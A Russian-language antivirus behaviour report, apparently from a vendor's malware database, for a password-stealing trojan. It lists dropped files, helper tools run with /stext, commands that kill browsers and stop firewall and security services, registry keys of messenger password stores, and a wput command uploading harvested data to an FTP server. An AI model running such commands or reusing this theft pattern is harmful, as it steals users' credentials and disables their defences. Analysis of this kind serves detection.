Техническая информация
Вредоносные функции:
Создает и запускает на исполнение:
- '%TEMP%\project\8.exe' /stext 8.txt
- '%TEMP%\project\7.exe' /stext 7.txt
- '%TEMP%\project\6.exe' /stext 6.txt
- '%TEMP%\project\wput.exe' "ftp://fi#########kz6OSu@file-server.hut2.ru/WWW/txt_p/22419_0.txt" "22419_0.txt"
- '%TEMP%\project\10.exe' /stext 10.txt
- '%TEMP%\project\9.exe' /stext 9.txt
- '%TEMP%\project\5.exe' /stext 5.txt
- '%TEMP%\project\1.exe' /stext 1.txt
- '%TEMP%\project\0.exe' /stext 0.txt
- '%TEMP%\project\start.exe'
- '%TEMP%\project\4.exe' /stext 4.txt
- '%TEMP%\project\3.exe' /stext 3.txt
- '%TEMP%\project\2.exe' /stext 2.txt
Запускает на исполнение:
- '<SYSTEM32>\taskkill.exe' /f /im opera.exe
- '<SYSTEM32>\taskkill.exe' /f /im iexplore.exe
- '<SYSTEM32>\taskkill.exe' /f /im chrome.exe
- '<SYSTEM32>\net1.exe' stop sharedaccess
- '<SYSTEM32>\net.exe' stop wscsvc
- '<SYSTEM32>\net1.exe' stop wscsvc
- '<SYSTEM32>\net.exe' stop sharedaccess
Завершает или пытается завершить
следующие пользовательские процессы:
- chrome.exe
- iexplore.exe
- opera.exe
Ищет ветки реестра, отвечающие за хранение паролей сторонними программами:
- [<HKCU>\Software\AIM\AIMPRO]
- [<HKCU>\Software\America Online\AIM6\Passwords]
- [<HKLM>\Software\Miranda]
- [<HKCU>\Software\Paltalk]
- [<HKCU>\Software\Mirabilis\ICQ\NewOwners]
- [<HKLM>\Software\Mirabilis\ICQ\NewOwners]
- [<HKCU>\Software\Microsoft\MessengerService]
- [<HKCU>\Software\Microsoft\MSNMessenger]
- [<HKCU>\Software\Google\Google Talk\Accounts]
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Trillian]
- [<HKCU>\Software\Microsoft\IdentityCRL]
- [<HKCU>\Software\Yahoo\Pager]
Изменения в файловой системе:
Создает следующие файлы:
- %TEMP%\project\3.exe
- %TEMP%\project\2.exe
- %TEMP%\project\1.exe
- %TEMP%\project\4.exe
- %TEMP%\project\7.exe
- %TEMP%\project\6.exe
- %TEMP%\project\5.exe
- %TEMP%\project\rarreg.key
- %TEMP%\project\Zip_US.SFX
- %TEMP%\project\zipnew.dat
- %TEMP%\project\svchost.exe
- %TEMP%\project\0.exe
- %TEMP%\project\admdll.dll
- %TEMP%\project\raddrv.dll
- %TEMP%\project\8.exe
- %TEMP%\project\1.txt
- %TEMP%\a57331.bat
- %TEMP%\project\t.txt
- %TEMP%\project\2.txt
- %TEMP%\project\9.txt
- %TEMP%\project\7.txt
- %TEMP%\project\4.txt
- %TEMP%\project\11.exe
- %TEMP%\project\10.exe
- %TEMP%\project\9.exe
- %TEMP%\project\tyt.lst
- %TEMP%\project\ZipEn.SFX
- %TEMP%\project\WinConEn.SFX
- %TEMP%\project\DefaultEn.SFX
- %TEMP%\project\Formats\7zxa.dll
- %TEMP%\project\Formats\7z.fmt
- %TEMP%\project\Def_US.SFX
- %TEMP%\project\Formats\ace.fmt
- %TEMP%\project\Formats\cab.fmt
- %TEMP%\project\Formats\bz2.fmt
- %TEMP%\project\Formats\arj.fmt
- %TEMP%\project\wput.exe
- %TEMP%\project\sysmonitor.exe
- %TEMP%\project\start.exe
- %TEMP%\project\hidcon.exe
- %TEMP%\project\Default.SFX
- %TEMP%\project\libeay32.dll
- %TEMP%\project\ssleay32.dll
- %TEMP%\project\Formats\gz.fmt
- %TEMP%\project\rarnew.dat
- %TEMP%\project\RarExtLoader.exe
- %TEMP%\project\RarExt.dll
- %TEMP%\project\UnRAR.exe
- %TEMP%\project\Zip.SFX
- %TEMP%\project\WinConUS.SFX
- %TEMP%\project\WinCon.SFX
- %TEMP%\project\Formats\tar.fmt
- %TEMP%\project\Formats\lzh.fmt
- %TEMP%\project\Formats\iso.fmt
- %TEMP%\project\Formats\UNACEV2.DLL
- %TEMP%\project\Rar.exe
- %TEMP%\project\Formats\z.fmt
- %TEMP%\project\Formats\uue.fmt
Присваивает атрибут 'скрытый' для следующих файлов:
- %TEMP%\a57331.bat
Перемещает следующие файлы:
- %TEMP%\project\7.txt в %TEMP%\project\22419_7.txt
- %TEMP%\project\9.txt в %TEMP%\project\22419_9.txt
- %TEMP%\project\4.txt в %TEMP%\project\22419_4.txt
- %TEMP%\project\1.txt в %TEMP%\project\22419_1.txt
- %TEMP%\project\2.txt в %TEMP%\project\22419_2.txt
Сетевая активность:
Подключается к:
- 'fi####erver.hut2.ru':21
UDP:
- DNS ASK fi####erver.hut2.ru
Другое:
Ищет следующие окна:
- ClassName: '' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'EDIT' WindowName: ''
